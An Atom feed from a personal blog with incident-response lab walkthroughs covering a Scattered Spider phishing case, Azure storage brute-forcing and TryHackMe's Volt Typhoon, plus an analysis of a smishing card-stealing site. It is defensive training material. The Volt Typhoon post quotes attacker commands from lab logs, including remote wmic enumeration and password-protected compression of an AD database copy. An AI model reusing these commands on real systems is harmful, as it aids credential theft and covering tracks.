<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://airinspiration.github.io/eduardo_reta_blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://airinspiration.github.io/eduardo_reta_blog/" rel="alternate" type="text/html" /><updated>2026-04-11T16:56:49+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/feed.xml</id><title type="html">eduardo_reta_blog</title><subtitle>Personal Blog</subtitle><author><name>Eduardo Reta</name></author><entry><title type="html">Invictus IR Labs: The Bonus Bait</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2026/04/11/Invictus-IR-Labs-The-Bonus-Bait.html" rel="alternate" type="text/html" title="Invictus IR Labs: The Bonus Bait" /><published>2026-04-11T00:00:00+00:00</published><updated>2026-04-11T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2026/04/11/Invictus-IR-Labs-The-Bonus-Bait</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2026/04/11/Invictus-IR-Labs-The-Bonus-Bait.html"><![CDATA[<h1 id="background">Background</h1>
<p>A Microsoft Defender incident has been triggered by an analytics rule matching known IOCs tied to the Scattered Spider threat group. You’ll take on the role of a security analyst tasked with investigating the incident from initial detection to post-compromise activity.</p>

<h1 id="objectives">Objectives</h1>
<p>Investigate a security incident detected by Microsoft Defender
Identify malicious behavior through analysis of the different log sources
Track actor movement and actions in the environment</p>

<h2 id="question-1">Question 1</h2>
<p><strong>How many users received the internal phishing lure related to the “bonus” theme?</strong> <br />
This one was quick, knowing we already have the email messages logs, I just built the following trivial query to find the answer. \</p>

<p><img src="https://github.com/user-attachments/assets/6ec20f5b-64ab-422c-93a9-b4915268279e" alt="image" /></p>

<h2 id="question-2">Question 2</h2>
<p><strong>We now know the threat actor shared a document via SharePoint. What is the full object ID (URL) of the file that was shared?</strong> <br />
Checking on Audit Data Sources available, answer might be likely in one of those two.</p>

<p><img src="https://github.com/user-attachments/assets/03e25aed-d77c-48c1-804e-32022cbfd83b" alt="image" /></p>

<p>Given a document was shared, it had to be uploaded, so this event should help us figuring out what was it.
<img src="https://github.com/user-attachments/assets/e11fb3e6-c755-486a-b4ca-b6a135ebd6c4" alt="image" /></p>

<p>Checking on the uploaded files we can observe that there is only one related to the “Bonus” lead given in the first question</p>

<p><img src="https://github.com/user-attachments/assets/8a467331-3067-4892-a210-2746285bd7d0" alt="image" /></p>

<h2 id="question-3">Question 3</h2>
<p><strong>What was the IP address used by the threat actor while performing activities on SharePoint?</strong> <br />
Adding as a filter the sharepoint file found inthe previous question and extracting the ClientIP of that action, we were able to find the Source IP of the threat actor.</p>

<p><img src="https://github.com/user-attachments/assets/9abd36a1-eb30-4f1f-9ef1-e0f59acd98af" alt="image" /></p>

<p>That IP is tagged as VPN and associated with Malware by VT</p>

<p><img src="https://github.com/user-attachments/assets/57953fb9-c70c-415d-b103-5395a11d98e2" alt="image" /></p>

<h2 id="question-4">Question 4</h2>
<p><strong>What is the Object ID of the file accessed by the threat actor using the ‘154.47.30.133’ IP address? (Note: we are not looking for .jpg or image files)</strong>
Filtering by the <code class="language-plaintext highlighter-rouge">FileAccessed</code> Sharepoint Operation value + with the known IP + excluding jpg files, we are able to get the file the TA accessed.</p>

<p><img src="https://github.com/user-attachments/assets/a29954e6-1178-4fbd-9098-1322621b3eac" alt="image" /></p>

<h2 id="question-5">Question 5</h2>
<p><strong>An existing inbox rule was modified — what is the name of this inbox rule?</strong></p>

<p>From experience I know that modified inbox rules will have the Operation value of <code class="language-plaintext highlighter-rouge">Set-InboxRule</code>, leveraging that filter + the <code class="language-plaintext highlighter-rouge">UserId</code> of the compromised user,
I was able to get the name of the inbox rule.</p>

<p><img src="https://github.com/user-attachments/assets/d0ac6be7-ec8a-4cc9-b2f7-5ae7e447ab2a" alt="image" /></p>

<h2 id="question-6">Question 6</h2>
<p><strong>We asked Isabella to share a screenshot of all her mailbox rules. Notice another interesting rule in the list… From what IP address was this rule created?</strong></p>

<p>If you look at the value of the <code class="language-plaintext highlighter-rouge">Name</code> field, it has two dots as a name, which has been one of the most (if not the most) common names in BEC cases, I myself have seen it being used in real BEC compromises. Also notice that it tries to delete the emails coming from any account from the domain <code class="language-plaintext highlighter-rouge">acme-suite.com</code>, which is not just a shot in the dark the TA is doing, but it is likely that an account from this tenant was used to compromise this user and wants to avoid the user being able to read any email from it in case they want to notify their email partners.</p>

<p><img src="https://github.com/user-attachments/assets/ac35fb52-0c2e-4ea0-a541-18c58bb8ffb3" alt="image" /></p>

<p>Expanding further we can find the IP that created the rule.</p>

<p><img src="https://github.com/user-attachments/assets/4ff4646a-344e-4215-9790-7c43b2275ccd" alt="image" /></p>

<h2 id="question-7">Question 7</h2>
<p><strong>What is the domain targeted in this rule, where all emails are being deleted from?</strong> \</p>

<p>From the explanation in the previous answer, the domain is <code class="language-plaintext highlighter-rouge">acme-suite.com</code></p>

<h2 id="question-8">Question 8</h2>
<p><strong>Interesting, all emails from this domain are being removed. According to the IT administrator, this is a company we’ve done business with in the past. Can you identify the email address associated with this domain?</strong> \</p>

<p>As it was a company that it has been doing business in the past, I started searching for any value in the <code class="language-plaintext highlighter-rouge">RecipientAddress</code> field that contains the domain, but I was unable to find anything. Then, I tried my luck using the <code class="language-plaintext highlighter-rouge">SenderAddress</code> field and I was successful on it.</p>

<p><img src="https://github.com/user-attachments/assets/5b3b70f8-f272-4d33-8954-e6616c0c17d3" alt="image" /></p>

<h2 id="question-9">Question 9</h2>
<p><strong>Isabella received a phishing email from the partner domain, which led to her account compromise.
How many other users received the same original phishing email that Isabella received?</strong></p>

<p>Checking on the timestamps, Isabella sent the malicious emails on <code class="language-plaintext highlighter-rouge">04/07/2026 10:50:06.232 PM</code> UTC. Filtering for the emails that she received in day that that aren’t internal, and by the fact that question 8 mentions that <code class="language-plaintext highlighter-rouge">acme-suite.com</code> is the domain of a company they have worked before + the fact that the TA created an inbox rule so that emails from any address from that domain gets deleted because they could try to notify to their partners that this account has been hacked, we assume that <code class="language-plaintext highlighter-rouge">invoices.platform@acme-suite.com</code> is the name of the account that sent the email and compromised Isabella.</p>

<p><img src="https://github.com/user-attachments/assets/3ff60394-9396-4c72-950e-b18ebc74a2ce" alt="image" /></p>

<p>Searching for other emails sent from that account we can observe there are indeed a couple sent.</p>

<p><img src="https://github.com/user-attachments/assets/03951d8d-acb4-44bf-b20c-90bc92d82c32" alt="image" /></p>

<h2 id="question-10">Question 10</h2>
<p><strong>Isabella remembers receiving a phishing email and says she opened the link and filled in her details, thinking it was needed to secure her Microsoft
365 account. Now that we know how the threat actor gained access and some of their actions, the remaining question is: was any data stolen?
How many unique emails were accessed by the threat actor across all folders?</strong></p>

<table>
  <tbody>
    <tr>
      <td>Sadly for this question had to leverage the hints… and provided this query with the result… Given my little experience with KQL + it was already midnight when I was answering this question sadly I gave up :</td>
    </tr>
  </tbody>
</table>

<p><img src="https://github.com/user-attachments/assets/518f7fef-e39d-4b88-9f3e-a149c6890eaa" alt="image" /></p>

<h2 id="question-11">Question 11</h2>
<p><strong>Unfortunately, this wasn’t the only way the threat actor accessed emails. They registered a well-known application used for data exfiltration. What is the name of this application?</strong></p>

<p>The question makes it sound as if the attacker registered a malicious oauth application (<a href="https://attack.mitre.org/techniques/T1671/">T1671</a>). Data exfiltration would be performed by creating an oauth app that has the <code class="language-plaintext highlighter-rouge">Mail.Read</code> permissions for “Thunderbird” it would allow the TA to receive the emails of the user that granted the consent.</p>

<p>Checking on all the <code class="language-plaintext highlighter-rouge">Operation</code> values available in the <code class="language-plaintext highlighter-rouge">AzureActiveDirectory</code>, we can observe that the <code class="language-plaintext highlighter-rouge">Consent to application</code> event could tell us something.</p>

<p><img src="https://github.com/user-attachments/assets/53ab5a94-7c01-4c4f-a920-b78a3c8fdef3" alt="image" /></p>

<p>Going through the log, we got no name of the application, but we got a ServicePrincipal ID which could help us get some extra information on the OAuth Path.</p>

<p><img src="https://github.com/user-attachments/assets/5b0721ca-3b13-4a28-a1ee-ddc9f2150460" alt="image" /></p>

<blockquote>
  <p>💡A ServicePrincipal object is created when an OAuth App gets created because the app needs to be represented by a security principal in order to be able to access resources within the tenant.</p>
</blockquote>

<p>Filtering why the <code class="language-plaintext highlighter-rouge">Add service principal.</code> events + by the Service Principal ID, we only got one log, which then we were able to extract the display name of the malicious OAuth App.</p>

<p><img src="https://github.com/user-attachments/assets/5aefd208-cd2b-4eef-a36a-552ef048d07c" alt="image" /></p>

<p>This was not asked, but we can also get the scope of permissions given to the oauth app. As we can observe there are several of them including able to modify the mails/mailbox item, access to calendar, contacts and user data. Notice the presence of <code class="language-plaintext highlighter-rouge">offline_access</code>, which allows the oath app to get a refresh token to get persistent access and not only an access token which would be available for around an hour.</p>

<p><img src="https://github.com/user-attachments/assets/fb382328-ff64-4977-8f45-a8ded49562ac" alt="image" /></p>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[Background A Microsoft Defender incident has been triggered by an analytics rule matching known IOCs tied to the Scattered Spider threat group. You’ll take on the role of a security analyst tasked with investigating the incident from initial detection to post-compromise activity.]]></summary></entry><entry><title type="html">Infinity Learning Labs - Storage Container Intrusion Analysis</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2026/04/09/Storage-Container-Intrusion-Analysis.html" rel="alternate" type="text/html" title="Infinity Learning Labs - Storage Container Intrusion Analysis" /><published>2026-04-09T00:00:00+00:00</published><updated>2026-04-09T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2026/04/09/Storage-Container-Intrusion-Analysis</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2026/04/09/Storage-Container-Intrusion-Analysis.html"><![CDATA[<h1 id="scenario">Scenario</h1>
<hr />
<p>You are tasked with investigating security risks in Secure Corp’s Azure environment, focusing on misconfigured service principals. Recent audits identified that several service principals have overly broad permissions, posing a potential threat for privilege escalation and unauthorized access to sensitive resources.</p>

<hr />
<p>The first thing I’m doing is familiarizing myself with the data. I’ve never truly deep dived into data from Azure RBAC. within Activity Logs, so I want to get familiarized with it.2</p>

<p>I just started into googling those logs, and the AI summary revealed that it is part of the <code class="language-plaintext highlighter-rouge">AzureActivity</code> table which from my built knowledge, I know it refers to the <code class="language-plaintext highlighter-rouge">Azure Activity Log</code> events.</p>

<p><img src="https://github.com/user-attachments/assets/15ca8a49-f5e6-4c48-b007-a72ffb1e3cc6" alt="image" /></p>

<p>Since part of work responsibilities through the years was working in incidents, I have had the need before to dig into Microsoft logs, and often I reference the multiple audit log schema reference sites that MSFT has for different type of events. Here are a few of sites I’ve used before to know greater detail about their logs in case that you haven’t checked them out: <a href="https://learn.microsoft.com/en-us/purview/audit-log-activities">Audit log activities</a>, <a href="https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties">Detailed activity properties in the audit log</a>, <a href="https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema">Office 365 Management Activity API schema</a>, <a href="https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-activity-log-schemas">Learn about the monitoring and health activity log schemas - Microsoft Entra ID</a>.</p>

<p>Naturally, I went into searching for the <code class="language-plaintext highlighter-rouge">Azure Audit Log</code> event schema to understand better what logs I am looking at.
<img src="https://github.com/user-attachments/assets/b99541ae-e709-46b6-bfbb-aad2b19ca053" alt="image" /></p>

<p>After going through this it kind of gives me a sense of not being that lost as it lists all the fields available on each of the categories found.</p>

<p>Going back into Elastic, I want to know what data sources I am working on. By googling, it seems that the <code class="language-plaintext highlighter-rouge">event.dataset</code> field. After looking at it, we can notice there’s three data sources:</p>

<ol>
  <li>Azure Activity Logs</li>
  <li>Azure Platform Logs (which after googling they are -&gt; “Azure Monitor Logs”)</li>
  <li>Azure Sign In Logs (Entra Sign In Logs)</li>
</ol>

<p><img src="https://github.com/user-attachments/assets/7561fc8f-0623-4200-8e7d-62997c9f40bc" alt="image" /></p>

<p>Another field that could be of use would be the <code class="language-plaintext highlighter-rouge">event.action</code> field, that lists several activities involved with storage events mainly…
<img src="https://github.com/user-attachments/assets/c1e92174-365a-4f05-af4a-20e6274852eb" alt="image" /></p>

<hr />
<h1 id="question-1">Question 1</h1>
<p>Identify and determine the ip addresses associated with the brute forcing activity. <br />
R= <strong>36.255.87.7 , 36.255.87.5</strong></p>

<p>Checking on the <code class="language-plaintext highlighter-rouge">azure.platformlogs</code> (Azure Monitor) Sign In Logs, I discarded this option as there was only 8 events all successful, which is not an indicator of a bruteforce attack.
<img src="https://github.com/user-attachments/assets/0b11de02-4e11-4db2-a247-a06ded27c235" alt="image" /></p>

<p>Checking into the logs with the most amount of entries (<code class="language-plaintext highlighter-rouge">GetBlob</code> event action), we can observe that there seems to be attempts of reading a blob, with no authentication provided (<code class="language-plaintext highlighter-rouge">azure.activitylogs.identity.type</code> == <code class="language-plaintext highlighter-rouge">Anonymous</code>) which failed (“Conflict (HTTP Status Code: 409)” according to <a href="https://learn.microsoft.com/en-us/azure/azure-monitor/platform/activity-log-schema">Azure Activity Log event schema</a> ).
<img src="https://github.com/user-attachments/assets/bceea038-693f-4ebf-850b-72dada7396b7" alt="image" /></p>

<p>Another data point is that this attempt comes from India, which along with the fact that it’s attempting to read a blob using Anonymous access (and failed) it is worth it to list the multiple values seen in these fields to know with how many different values are we dealing with (thus proving [or not] a brute force attack.)</p>

<p><img src="https://github.com/user-attachments/assets/cdb0781a-2f10-4124-8edf-f91edcf6eb57" alt="image" /></p>

<p>With the following search we are able to prove that <code class="language-plaintext highlighter-rouge">36.255.87.7</code> and <code class="language-plaintext highlighter-rouge">36.255.87.5</code> were doing brute force attempts against blob resources.</p>

<pre><code class="language-kql">FROM az-storage-01
  | WHERE `event.dataset` == "azure.activitylogs" AND `event.action` == "GetBlob"
  | STATS COUNT(), VALUES(azure.activitylogs.category), VALUES(azure.activitylogs.identity.type), VALUES(azure.activitylogs.operation_name), VALUES(azure.activitylogs.statusCode), VALUES(azure.activitylogs.statusText), VALUES(azure.activitylogs.uri), VALUES(azure.resource.id), VALUES(geo.city_name), VALUES(geo.country_iso_code), VALUES(source.as.organization.name) BY source.ip
</code></pre>

<p><img src="https://github.com/user-attachments/assets/df63c5da-547f-4751-82f6-be79b28fbfac" alt="image" /></p>

<h1 id="question-2">Question 2</h1>
<p>Identify and determine the userAgentHeader associated with the brute forcing activity. <br />
R=<strong>Wfuzz/3.1.0</strong></p>

<p>We can observe that there’s a “wfuzz” reference in the user agent, already knowing that “fuzzing” is an automated process that inputs data to systems to identify bugs, vulnerabilities, etc; this is the brute force activity we are looking for.
<img width="594" height="1180" alt="image" src="https://github.com/user-attachments/assets/f12556bf-e55c-428a-8ae1-c1dd089f2d4b" /></p>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[Scenario You are tasked with investigating security risks in Secure Corp’s Azure environment, focusing on misconfigured service principals. Recent audits identified that several service principals have overly broad permissions, posing a potential threat for privilege escalation and unauthorized access to sensitive resources.]]></summary></entry><entry><title type="html">Smishing - Information Stealer</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2025/06/24/Smishing-Information-Stealer.html" rel="alternate" type="text/html" title="Smishing - Information Stealer" /><published>2025-06-24T00:00:00+00:00</published><updated>2025-06-24T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2025/06/24/Smishing-Information-Stealer</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2025/06/24/Smishing-Information-Stealer.html"><![CDATA[<p>Today, I’ve just received the following instant message. The translated message is as follows:</p>
<blockquote>
  <p>We weren’t able to setup your package deliver because the address that you provided doesn’t
match with the postal code, update in: <code class="language-plaintext highlighter-rouge">https[://]estafetaems[.]top/mc</code>.</p>
</blockquote>

<p><img src="https://github.com/user-attachments/assets/ff4cb156-ebb4-45f6-8c18-0d3b1b644873" alt="image" /></p>

<p>It’s clearly this is one of those mass sent smishing, but what is the purpose of these? Let’s explore…</p>

<p>Checking the WHOIS record, there are two red flags about this domain:</p>

<ol>
  <li>
    <p>The domain was bought from those websites that sell low-cost domains.
<img src="https://github.com/user-attachments/assets/6d235240-cf34-4f05-90fa-bacb5ad7fda9" alt="image" /></p>
  </li>
  <li>
    <p>The domain was just bought a day ago (at the time of this writing), which no legit domain is usually this young.</p>
  </li>
</ol>

<p><img src="https://github.com/user-attachments/assets/59962abf-2092-4a3a-bc25-659069780579" alt="image" /></p>

<p>Leveraging tria.ge to explore the site, at first glance, we can see that it attempts to impersonate the estafeta site, even though it seems like an older version of the current one, 
as we can observe the clear differences with the second screenshot which is the current website.
<img src="https://github.com/user-attachments/assets/959616e3-8782-425d-976d-9677c9ecc3f8" alt="image" /></p>

<p><img src="https://github.com/user-attachments/assets/b5d4b890-6f16-4094-92b8-6546f98b46ad" alt="image" /></p>

<p>Checking at the resources contained in the website, we have proof that this site was cloned towards the end of the year 2023 (likely December).
<img src="https://github.com/user-attachments/assets/99e41ead-9c1d-4318-b741-b4fe17be4588" alt="image" /></p>

<p><img src="https://github.com/user-attachments/assets/878b8ea0-4270-4be0-a621-d615c926ec7b" alt="image" /></p>

<p>Checking the <code class="language-plaintext highlighter-rouge">.js</code> file, we can observe that there are some comments in chinese, which means one of two things: the threat actors are chinese/familiarized with chinese or whatever code they copied this from
was written by chinese/familized with chinese.
<img src="https://github.com/user-attachments/assets/fcb2c9c2-7f7d-43be-8dc9-c8439521d65e" alt="image" /></p>

<p>As soon as the user stops writing, the data is sent to the endpoint <code class="language-plaintext highlighter-rouge">/api/input</code>, along with the timestamp in epoch.
<img src="https://github.com/user-attachments/assets/a24ef0fe-b25a-486e-b2f1-2ca4eb9bad36" alt="image" /></p>

<p><img src="https://github.com/user-attachments/assets/344644b8-899d-41da-bc51-e49a7a7eab7b" alt="image" /></p>

<p>The server then replies with a <code class="language-plaintext highlighter-rouge">code: 0</code>.
<img src="https://github.com/user-attachments/assets/8375ea97-6f65-4be4-af1e-05a660a60e30" alt="image" /></p>

<p>Within the request, there’s interesting information that gives us more information on the threat actor infrastructure:</p>
<ol>
  <li>
    <p>The <code class="language-plaintext highlighter-rouge">Server</code> field is <code class="language-plaintext highlighter-rouge">GoFrame HTTP Server</code>. When googling it, we can see that the first result is in Chinese, within that website there’s a QR code so that we can follow the project in <code class="language-plaintext highlighter-rouge">WeChat</code>, which is a social media
platoform only used in China. If we piece together the two evidences that we have until now (comments written in Chinese and the use of an opensource web server that prompts the users to follow them using <code class="language-plaintext highlighter-rouge">WeChat</code>), we can confidently
state that the attacker/s is from China.
<img src="https://github.com/user-attachments/assets/7f9f8f61-ba45-491f-a021-772be61ad76f" alt="image" /></p>
  </li>
  <li>There’s a <code class="language-plaintext highlighter-rouge">Via</code> field with the value of <code class="language-plaintext highlighter-rouge">1.1 Caddy</code>. I’ve found in Google that Caddy is a:
    <blockquote>
      <p>Caddy sports a flexible and powerful HTTP reverse proxy, on-line configuration API, and a robust, production-ready static file server, and serves all sites over HTTPS by default with automagic TLS certificates.</p>
    </blockquote>
  </li>
  <li>The field <code class="language-plaintext highlighter-rouge">Sec-Ch-Ua-Platform</code> with the value of <code class="language-plaintext highlighter-rouge">Windows</code>, let us know that it is able to automatically identify the platform connecting to the site.</li>
  <li>There’s a <code class="language-plaintext highlighter-rouge">Token</code> field, which is unknown at the time what’s its purpose.
<img src="https://github.com/user-attachments/assets/be28d121-00f3-4776-b864-c2fd449a6c14" alt="image" /></li>
</ol>

<p>Once we hit <code class="language-plaintext highlighter-rouge">Submit</code>, we are then prompted to insert our credit card information.
<img src="https://github.com/user-attachments/assets/af5228e0-9c38-4603-9a8c-c05866deeb4f" alt="image" /></p>

<p>Once we entered the information (and it was being sent at the same time it was being written), once we submitted it, a secure web socket (<code class="language-plaintext highlighter-rouge">wss://</code>) request was sent to the endpoint <code class="language-plaintext highlighter-rouge">/ws</code> with the previously seen token being passed as argument.
<img src="https://github.com/user-attachments/assets/d7b5e4ef-c96a-4bdd-86c8-469b6c72fc74" alt="image" /></p>

<p>Within that same request, in the <code class="language-plaintext highlighter-rouge">result_type</code> event, we are able to observe the data that was transmitted to the server, the app is able to determine whether or not if the card number is a valid one or not from the first digits (as in
another attempt I invented all the names, in this case I put only the initial real numbers from an HSBC card).
<img src="https://github.com/user-attachments/assets/f17b8088-5d88-4048-a664-efe714618441" alt="image" /></p>

<p>When you submit the info, at the end it redirects you to the legit <code class="language-plaintext highlighter-rouge">estafeta.com</code> website</p>

<p>Reference</p>

<p>(tria.ge)[https://tria.ge/250624-t3qmhswvez/behavioral1]</p>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[Today, I’ve just received the following instant message. The translated message is as follows: We weren’t able to setup your package deliver because the address that you provided doesn’t match with the postal code, update in: https[://]estafetaems[.]top/mc.]]></summary></entry><entry><title type="html">TryHackMe - VoltTyphoon</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2025/06/20/THM-Volt-Typhoon.html" rel="alternate" type="text/html" title="TryHackMe - VoltTyphoon" /><published>2025-06-20T00:00:00+00:00</published><updated>2025-06-20T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2025/06/20/THM-Volt-Typhoon</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2025/06/20/THM-Volt-Typhoon.html"><![CDATA[<h1 id="initial-access">Initial Access</h1>
<h3 id="comb-through-the-adselfservice-plus-logs-to-begin-retracing-the-attackers-steps-at-what-time-iso-8601-format-was-deans-password-changed-and-their-account-taken-over-by-the-attacker">Comb through the ADSelfService Plus logs to begin retracing the attacker’s steps. At what time (ISO 8601 format) was Dean’s password changed and their account taken over by the attacker?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">2024-03-24T11:10:22</code></p>

<p>The question mentions that we should look into the <code class="language-plaintext highlighter-rouge">ADSelfService Plus</code> logs, checking in the values of the <code class="language-plaintext highlighter-rouge">sourcetype</code> field, we can observe that there’s one that matches with its starting letters.
<img src="https://github.com/user-attachments/assets/32a595d9-be07-42a1-ae70-ad3909790874" alt="image" /></p>

<p>As we are looking for a password change and its account take over, we look into the <code class="language-plaintext highlighter-rouge">username</code> field for any value indicating that the owner could be Dean. We found one: <code class="language-plaintext highlighter-rouge">dean-admin</code>, lets filter by that value.
<img src="https://github.com/user-attachments/assets/8193688b-ab00-4f74-85b9-8ef9c69d084e" alt="image" /></p>

<p>Using the query below to get only the fields of interest, I was able to track down the ip from where the TA tried multiple attempts of account unlock and where at the end it was able to take over the account by resetting its password and it being successful.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=* sourcetype=adss  | search username="dean-admin" 
|  table timestamp, ip_address, action_name, status
| reverse
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/bb5d0f72-d36b-488c-9bb3-b00fca6f95c9" alt="image" /></p>

<h3 id="2-shortly-after-deans-account-was-compromised-the-attacker-created-a-new-administrator-account-what-is-the-name-of-the-new-account-that-was-created">2. Shortly after Dean’s account was compromised, the attacker created a new administrator account. What is the name of the new account that was created?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">voltyp-admin</code></p>

<p>Leveraging <code class="language-plaintext highlighter-rouge">Date &amp; Time Range</code> feature, we filter for logs after the timestamp of the <code class="language-plaintext highlighter-rouge">Password Change</code> ADSelfService event. 
<img src="https://github.com/user-attachments/assets/bdeea798-2980-4404-a2e0-c5c28e16af55" alt="image" />
We can observe that the account <code class="language-plaintext highlighter-rouge">voltyp-admin</code> was immediately created after the account takeover.</p>

<p><img src="https://github.com/user-attachments/assets/42ecd1ea-61f0-4599-9b58-e544f900060f" alt="image" /></p>
<h1 id="execution">Execution</h1>
<h3 id="3-in-an-information-gathering-attempt-what-command-does-the-attacker-run-to-find-information-about-local-drives-on-server01--server02">3. In an information gathering attempt, what command does the attacker run to find information about local drives on server01 &amp; server02?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename</code></p>

<p>Going back into the data lake of logs, we indeed have a <code class="language-plaintext highlighter-rouge">sourcetype</code> for <code class="language-plaintext highlighter-rouge">wmi</code> that we can explore in.
<img src="https://github.com/user-attachments/assets/218a90f4-172e-48ee-8736-2b44010b38c9" alt="image" />
As the server field wasn’t parsed, I used the following regex <code class="language-plaintext highlighter-rouge">^.*\|.*\|\s(?&lt;server&gt;server-0\d{1}-main).*\|</code> to get the names of the server we were interested in.
As we can see it is indeed working
<img src="https://github.com/user-attachments/assets/0fd29211-1270-4452-90ab-8384a4abdd0e" alt="image" />
Checking for any commands that could give information on disk using wmic, there are three in specific. 
<img src="https://github.com/user-attachments/assets/29497f5b-3842-4229-95b7-a1448a44458e" alt="image" />
Using the following query, I was able to notice that there was indeed a command that targeted <code class="language-plaintext highlighter-rouge">server01</code> and <code class="language-plaintext highlighter-rouge">server02</code>, so what I just did was me being confused but at least served to practice my regex, same thing with the query below, is definitely not be the best way to find the answer.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=* sourcetype=wmic
| where isnotnull(server) // Contains string server-0[1 OR 2]-main
| search command="*disk*" // Contains substring 'disk' in command field
| stats count by command // count how many times each value appears
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/1e92f574-acb8-4c6f-8fcb-feb630f337cb" alt="image" />
A better query would be the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=* sourcetype=wmic 
| search command="*server0*" // search for any wmi command that contains the
								substring 'server0'
| table timestamp, ip_address, username, command
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/0231c936-3b53-476e-b2f4-f2170af74170" alt="image" /></p>
<h3 id="4-the-attacker-uses-ntdsutil-to-create-a-copy-of-the-ad-database-after-moving-the-file-to-a-web-server-the-attacker-compresses-the-database-what-password-does-the-attacker-set-on-the-archive">4. The attacker uses ntdsutil to create a copy of the AD database. After moving the file to a web server, the attacker compresses the database. What password does the attacker set on the archive?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">d5ag0nm@5t3r</code></p>

<p>Doing a free text search for <code class="language-plaintext highlighter-rouge">ntdsutil.exe</code> we got a match for the command that created a copy of the AD database. 
<img src="https://github.com/user-attachments/assets/d00c4475-a5dd-4a3f-b045-ffe65d08dfc9" alt="image" />
Looking for any events after that time, and filtering by the user <code class="language-plaintext highlighter-rouge">dean-admin</code>, we are able to find the compression command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wmic /node:webserver-01 process call create “cmd.exe /c 7z a -v100m -p d5ag0nm@5t3r -t7z `cisco-up.7z` C:\inetpub\wwwroot\temp.dit”
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/6aeca5b5-5fe8-4e4a-8df7-0ce72220cf49" alt="image" /></p>
<h1 id="persistence">Persistence</h1>

<h3 id="5-to-establish-persistence-on-the-compromised-server-the-attacker-created-a-web-shell-using-base64-encoded-text-in-which-directory-was-the-web-shell-placed">5. To establish persistence on the compromised server, the attacker created a web shell using base64 encoded text. In which directory was the web shell placed?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">C:\Windows\Temp\</code></p>

<p>I wasn’t sure where to start here, but I knew that because there was some base64 involved, the attacker must have used some command that had the word decode in it, and I was correct. In this case it leveraged the LOLB <code class="language-plaintext highlighter-rouge">certuil.exe</code>. In this case the webshell was inserted into the %TEMP% folder <code class="language-plaintext highlighter-rouge">C:\Windows\Temp\</code>
<img src="https://github.com/user-attachments/assets/d930bba5-c353-4fc2-bdbd-5b8fc6462f7f" alt="image" /></p>
<h1 id="defense-evasion">Defense Evasion</h1>
<h3 id="6-in-an-attempt-to-begin-covering-their-tracks-the-attackers-remove-evidence-of-the-compromise-they-first-start-by-wiping-rdp-records-what-powershell-cmdlet-does-the-attacker-use-to-remove-the-most-recently-used-record">6. In an attempt to begin covering their tracks, the attackers remove evidence of the compromise. They first start by wiping RDP records. What PowerShell cmdlet does the attacker use to remove the “Most Recently Used” record?</h3>
<p>R=<code class="language-plaintext highlighter-rouge">Remove-ItemProperty</code></p>

<p>I thought in doing a free search for <code class="language-plaintext highlighter-rouge">Remove-Item</code>, because the MRU is located in the registry path <code class="language-plaintext highlighter-rouge">HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU</code>, where we can only remove items from from a registry location using the <code class="language-plaintext highlighter-rouge">Remove-ItemProperty</code>. The attacker effectively removed the MRU record using the cmdlet `Remove-ItemProperty
<img src="https://github.com/user-attachments/assets/a30087c3-792c-4ee3-a329-bad614830e83" alt="image" /></p>
<h3 id="7-the-apt-continues-to-cover-their-tracks-by-renaming-and-changing-the-extension-of-the-previously-created-archive-what-is-the-file-name-with-extension-created-by-the-attackers">7. The APT continues to cover their tracks by renaming and changing the extension of the previously created archive. What is the file name (with extension) created by the attackers?</h3>
<p>R= cl64.gif</p>

<p>The previously created file was <code class="language-plaintext highlighter-rouge">cisco-up.7z</code> (Q4), if we do a free search for it, there’s a log indicating that the attacker renamed it to <code class="language-plaintext highlighter-rouge">cl64.gif</code> using the command below.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd.exe /c ren \\webserver-01\c$\inetpub\wwwroot\cisco-up.7z cl64.gif
</code></pre></div></div>

<p><img src="https://github.com/user-attachments/assets/cf67c3ac-ef78-4331-a6a1-2df66c77a064" alt="image" /></p>

<h3 id="8-under-what-regedit-path-does-the-attacker-check-for-evidence-of-a-virtualized-environment">8. Under what regedit path does the attacker check for evidence of a virtualized environment?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control</code></p>

